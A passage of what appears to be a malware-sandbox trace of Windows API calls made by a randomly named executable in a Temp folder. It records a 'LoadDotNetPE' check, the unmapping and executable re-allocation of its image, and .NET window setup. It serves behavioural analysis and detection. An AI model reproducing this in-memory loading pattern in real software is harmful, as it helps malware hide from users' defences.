!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0147.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fa4c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿCRHv\x88ý\x18", lpUsedDefaultChar=0x0) returned 256 [0147.007] RtlInitializeSListHead (in: ListHead=0x398b0 | out: ListHead=0x398b0) [0147.008] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0147.008] GetEnvironmentStringsW () returned 0x5e8e98* [0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5e9970, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0147.008] FreeEnvironmentStringsW (penv=0x5e8e98) returned 1 [0147.009] GetModuleFileNameW (in: hModule=0x20000, lpFilename=0x18fc30, nSize=0x104 | out: lpFilename="\n" (normalized: "c:\\windows\\system32\\\n")) returned 0x0 [0147.009] strcmp (_Str1="LoadDotNetPE", _Str2="LoadDotNetPE") returned 0 [0147.028] UnmapViewOfFile (lpBaseAddress=0x400000) returned 1 [0147.030] VirtualAlloc (lpAddress=0x400000, dwSize=0x38000, flAllocationType=0x3000, flProtect=0x40) returned 0x400000 [0150.459] GetVersionExW (in: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0150.459] GetLastError () returned 0x0 [0150.459] GetVersionExW (in: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x60b948*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0150.459] GetLastError () returned 0x0 [0150.602] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x18ecc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0150.603] GetLastError () returned 0x0 [0150.616] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x18ece8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x31 [0150.616] GetLastError () returned 0x0 [0150.628] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0152.803] SafeArrayAccessData (in: psa=0x60b228, ppvData=0x18fe8c | out: ppvData=0x18fe8c) returned 0x0 [0152.803] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0152.804] SafeArrayUnaccessData (psa=0x60b228) returned 0x0 [0153.030] SafeArrayGetDim (psa=0x60b228) returned 0x1 [0153.030] SafeArrayGetDim (psa=0x60b228) returned 0x1 [0153.030] SafeArrayGetLBound (in: psa=0x60b228, nDim=0x1, plLbound=0x18f520 | out: plLbound=0x18f520) returned 0x0 [0153.030] SafeArrayGetVartype (in: psa=0x60b228, pvt=0x18f4f8 | out: pvt=0x18f4f8) returned 0x0 [0161.366] _finite (_X=0x0) returned 1 [0161.812] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc132 [0161.812] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc135 [0161.816] GetSystemMetrics (nIndex=75) returned 1 [0161.899] AdjustWindowRectEx (in: lpRect=0x18ed7c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x18ed7c) returned 1 [0161.901] GetCurrentProcess () returned 0xffffffff [0161.901] GetCurrentThread () returned 0xfffffffe [0161.901] GetCurrentProcess () returned 0xffffffff [0161.901] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18ecac, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18ecac*=0x1a4) returned 1 [0161.902] GetLastError () returned 0x0 [0161.902] GetCurrentThreadId () returned 0xafc [0161.906] lstrlenW (lpString="䅁") returned 1 [0161.908] GetModuleHandleW (lpModuleName="user32.dll") returned 0x763e0000 [0161.909] GetProcAddress (hModule=0x763e0000, lpProcName="DefWindowProcW") returned 0x77e625dd [0161.910] GetStockObject (i=5) returned 0x1900015 [0161.910] GetLastError () returned 0x0 [0161.913] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.915] CoTaskMemAlloc (cb=0x4c) returned 0x64f130 [0161.915] RegisterClassW (lpWndClass=0x6126a0) returned 0xc13b [0161.915] GetLastError () returned 0x0 [0161.915] CoTaskMemFree (pv=0x64f130) [0161.916] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0161.916] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.378734a", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1401a6 [0161.918] SetWindowLongW (hWnd=0x1401a6, nIndex=-4, dwNewLong=2011571677) returned 5866386 [0161.918] GetWindowLongW (hWnd=0x1401a6, nIndex=-4) returned 2011571677 [0161.921] GetVersionExW (in: lpVersionInformation=0x6126c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6126c0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0161.921] GetLastError () returned 0x0 [0161.922] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e3a0 | out: phkResult=0x18e3a0*=0x1a8) returned 0x0 [0161.924] RegQueryValueExW (in: hKey=0x1a8, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x18e3e8, lpData=0x0, lpcbData=0x18e3e4*=0x0 | out: lpType=0x18e3e8*=0x0, lpData=0x0, lpcbData=0x18e3e4*=0x0) returned 0x2 [0161.924] RegQueryValueExW (in: hKey=0x1a8, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x18e3e8, lpData=0x0, lpcbData=0x18e3e4*=0x0 | out: lpType=0x18e3e8*=0x0, lpData=0x0, lpcbData=0x18e3e4*=0x0) returned 0x2 [0161.924] RegCloseKey (hKey=0x1a8) returned 0x0 [0161.927] SetWindowLongW (hWnd=0x1401a6, nIndex=-4, dwNewLong=5866706) returned 2011571677 [0161.927] GetWindowLongW (hWnd=0x1401a6, nIndex=-4) returned 5866706 [0161.927] GetWindowLongW (hWnd=0x1401a6, nIndex=-16) returned 113311744 [0161.927] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc121 [0161.928] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x24, wParam=0x0, lParam=0x18e67c) returned 0x0 [0161.928] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc133 [0161.928] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x81, wParam=0x0, lParam=0x18e670) returned 0x1 [0161.929] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x83, wParam=0x0, lParam=0x18e65c) returned 0x0 [0161.929] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x1401a6, Msg=0x1, wParam=0x0, lParam=0x18e670) returned 0x0 [0161.930] GetClientRect (in: hWnd=0x1401a6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1 [0161.930] GetWindowRect (in: hWnd=0x1401a6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1 [0161.930] GetLastError () returned 0x7f [0161.931] GetParent (hWnd=0x1401a6) returned 0x0 [0161.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x18e88c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Windows.Forms\\2.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x64 [0161.944] GetLastError () returned 0x7f [0161.961] IsAppThemed () returned 0x1 [0161.962] CoTaskMemAlloc (cb=0xca) returned 0x647e40 [0161.962] CreateActCtxA (pActCtx=0x612688) returned 0x6640ac [0162.028] CoTaskMemFree (pv=0x647e40) [0162.067] GetCurrentActCtx (in: lphActCtx=0x18f288 | out: lphActCtx=0x18f288*=0x0) returned 1 [0162.068] ActivateActCtx (in: hActCtx=0x6640ac, lpCookie=0x18f29c | out: hActCtx=0x6640ac, lpCookie=0x18f29c) returned 1 [0162.068] GetCurrentActCtx (in: lphActCtx=0x18f0c8 | out: lphActCtx=0x18f0c8*=0x6640ac) returned 1 [0162.069] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0162.069] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.378734a", lpWindowName=0x0, dwStyle=0x22cf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=300, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x301b6 [0162.070] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=2011571677) returned 5866386 [0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 2011571677 [0162.070] SetWindowLongW (hWnd=0x301b6, nIndex=-4, dwNewLong=5866754) returned 2011571677 [0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-4) returned 5866754 [0162.070] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160 [0162.070] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x81, wParam=0x0, lParam=0x18eb2c) returned 0x1 [0162.071] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x0, lParam=0x18eb18) returned 0x0 [0162.072] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x1, wParam=0x0, lParam=0x18eb2c) returned 0x0 [0162.072] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e870 | out: lpRect=0x18e870) returned 1 [0162.073] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e870 | out: lpRect=0x18e870) returned 1 [0162.073] GetWindowTextLengthW (hWnd=0x301b6) returned 0 [0162.073] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.073] GetSystemMetrics (nIndex=42) returned 0 [0162.074] GetWindowTextW (in: hWnd=0x301b6, lpString=0x6126a8, nMaxCount=1 | out: lpString="") returned 0 [0162.074] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x6126a8) returned 0x0 [0162.120] GetProcessWindowStation () returned 0x4c [0162.121] GetUserObjectInformationA (in: hObj=0x4c, nIndex=1, pvInfo=0x22fa244, nLength=0xc, lpnLengthNeeded=0x18e770 | out: pvInfo=0x22fa244, lpnLengthNeeded=0x18e770) returned 1 [0162.121] GetLastError () returned 0x0 [0162.124] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x1b0 [0162.125] GetLastError () returned 0x0 [0162.304] GetStartupInfoW (in: lpStartupInfo=0x22fab0c | out: lpStartupInfo=0x22fab0c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0162.304] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18eb40) returned 0x0 [0162.304] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18eb18) returned 0x0 [0162.305] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18e900 | out: lpwndpl=0x18e900) returned 1 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18eb40) returned 0x0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x3, wParam=0x0, lParam=0x83008300) returned 0x0 [0162.306] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1 [0162.306] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e3ec | out: lpRect=0x18e3ec) returned 1 [0162.306] GetWindowTextLengthW (hWnd=0x301b6) returned 0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.306] GetSystemMetrics (nIndex=42) returned 0 [0162.306] GetWindowTextW (in: hWnd=0x301b6, lpString=0x6126a8, nMaxCount=1 | out: lpString="") returned 0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x6126a8) returned 0x0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0 [0162.306] GetClientRect (in: hWnd=0x301b6, lpRect=0x18e89c | out: lpRect=0x18e89c) returned 1 [0162.306] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18e89c | out: lpRect=0x18e89c) returned 1 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c5e0) returned 0x0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0162.306] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0162.307] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0162.307] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18e724) returned 0x0 [0162.308] GetLastError () returned 0x0 [0162.308] GetParent (hWnd=0x301b6) returned 0x0 [0162.334] GetStockObject (i=5) returned 0x1900015 [0162.334] GetLastError () returned 0x0 [0162.334] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0162.334] CoTaskMemAlloc (cb=0x4c) returned 0x64f130 [0162.334] RegisterClassW (lpWndClass=0x6126a0) returned 0xc136 [0162.334] GetLastError () returned 0x0 [0162.334] CoTaskMemFree (pv=0x64f130) [0162.335] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0162.335] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.378734a", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x6012c [0162.335] SetWindowLongW (hWnd=0x6012c, nIndex=-4, dwNewLong=2011571677) returned 5867162 [0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-4) returned 2011571677 [0162.335] SetWindowLongW (hWnd=0x6012c, nIndex=-4, dwNewLong=5867210) returned 2011571677 [0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-4) returned 5867210 [0162.335] GetWindowLongW (hWnd=0x6012c, nIndex=-16) returned 79691776 [0162.336] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x24, wParam=0x0, lParam=0x18eb64) returned 0x0 [0162.336] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x81, wParam=0x0, lParam=0x18eb58) returned 0x1 [0162.337] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x83, wParam=0x0, lParam=0x18eb44) returned 0x0 [0162.337] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x1, wParam=0x0, lParam=0x18eb58) returned 0x0 [0162.337] GetLastError () returned 0x0 [0162.337] SetWindowLongW (hWnd=0x301b6, nIndex=-8, dwNewLong=393516) returned 0 [0162.345] GetSystemMetrics (nIndex=11) returned 32 [0162.345] GetLastError () returned 0x0 [0162.346] GetSystemMetrics (nIndex=12) returned 32 [0162.346] GetLastError () returned 0x0 [0162.347] GetDC (hWnd=0x0) returned 0x1d010199 [0162.347] GetLastError () returned 0x0 [0162.348] GetDeviceCaps (hdc=0x1d010199, index=12) returned 32 [0162.348] GetLastError () returned 0x0 [0162.348] GetDeviceCaps (hdc=0x1d010199, index=14) returned 1 [0162.348] GetLastError () returned 0x0 [0162.349] ReleaseDC (hWnd=0x0, hDC=0x1d010199) returned 1 [0162.349] GetLastError () returned 0x0 [0162.350] CreateIconFromResourceEx (presbits=0x22fd9f0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x90199 [0162.350] GetLastError () returned 0x0 [0162.350] GetSystemMetrics (nIndex=49) returned 16 [0162.350] GetSystemMetrics (nIndex=50) returned 16 [0162.350] CreateIconFromResourceEx (presbits=0x22feacc, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x90189 [0162.351] GetLastError () returned 0x0 [0162.351] SendMessageW (hWnd=0x301b6, Msg=0x80, wParam=0x0, lParam=0x90189) returned 0x0 [0162.351] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x80, wParam=0x0, lParam=0x90189) returned 0x0 [0162.351] SendMessageW (hWnd=0x301b6, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0 [0162.351] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0 [0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c5e0) returned 0x0 [0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x90189 [0162.352] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.352] GetSystemMenu (hWnd=0x301b6, bRevert=0) returned 0xb00b1 [0162.353] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18f0d8 | out: lpwndpl=0x18f0d8) returned 1 [0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf020, uEnable=0x1) returned 0 [0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf120, uEnable=0x0) returned 0 [0162.354] EnableMenuItem (hMenu=0xb00b1, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0162.354] SetWindowLongW (hWnd=0x301b6, nIndex=-8, dwNewLong=393516) returned 393516 [0162.354] SendMessageW (hWnd=0x6012c, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0x80, wParam=0x1, lParam=0x90199) returned 0x0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x6012c, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.355] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160 [0162.355] GetWindowTextLengthW (hWnd=0x301b6) returned 0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.355] GetSystemMetrics (nIndex=42) returned 0 [0162.355] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0 [0162.355] GetWindowTextLengthW (hWnd=0x301b6) returned 0 [0162.355] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.356] GetSystemMetrics (nIndex=42) returned 0 [0162.356] GetWindowTextW (in: hWnd=0x301b6, lpString=0x612688, nMaxCount=1 | out: lpString="") returned 0 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x1, lParam=0x612688) returned 0x0 [0162.356] GetWindowLongW (hWnd=0x301b6, nIndex=-16) returned 651100160 [0162.356] GetWindowLongW (hWnd=0x301b6, nIndex=-20) returned 65792 [0162.356] SetWindowLongW (hWnd=0x301b6, nIndex=-16, dwNewLong=583991296) returned 651100160 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f04c) returned 0x0 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f04c) returned 0x0 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.356] SetWindowLongW (hWnd=0x301b6, nIndex=-20, dwNewLong=65536) returned 65792 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7c, wParam=0xffffffec, lParam=0x18f04c) returned 0x0 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x7d, wParam=0xffffffec, lParam=0x18f04c) returned 0x0 [0162.356] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.357] SetWindowPos (hWnd=0x301b6, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0162.357] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x46, wParam=0x0, lParam=0x18f084) returned 0x0 [0162.357] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x83, wParam=0x1, lParam=0x18f05c) returned 0x0 [0162.358] GetWindowPlacement (in: hWnd=0x301b6, lpwndpl=0x18ee44 | out: lpwndpl=0x18ee44) returned 1 [0162.358] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0x47, wParam=0x0, lParam=0x18f084) returned 0x0 [0162.358] GetClientRect (in: hWnd=0x301b6, lpRect=0x18ede0 | out: lpRect=0x18ede0) returned 1 [0162.358] GetWindowRect (in: hWnd=0x301b6, lpRect=0x18ede0 | out: lpRect=0x18ede0) returned 1 [0162.358] CallWindowProcW (lpPrevWndFunc=0x77e625dd, hWnd=0x301b6, Msg=0xd, wParam=0x104, lParam=0x451c658) returned 0x0 [0162.359] RedrawWindow (hWnd=0x301b6, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0162.359] GetSystemMenu (hWnd=0x301b6, bRevert=0) returned 0xb00b1 [0162.359] 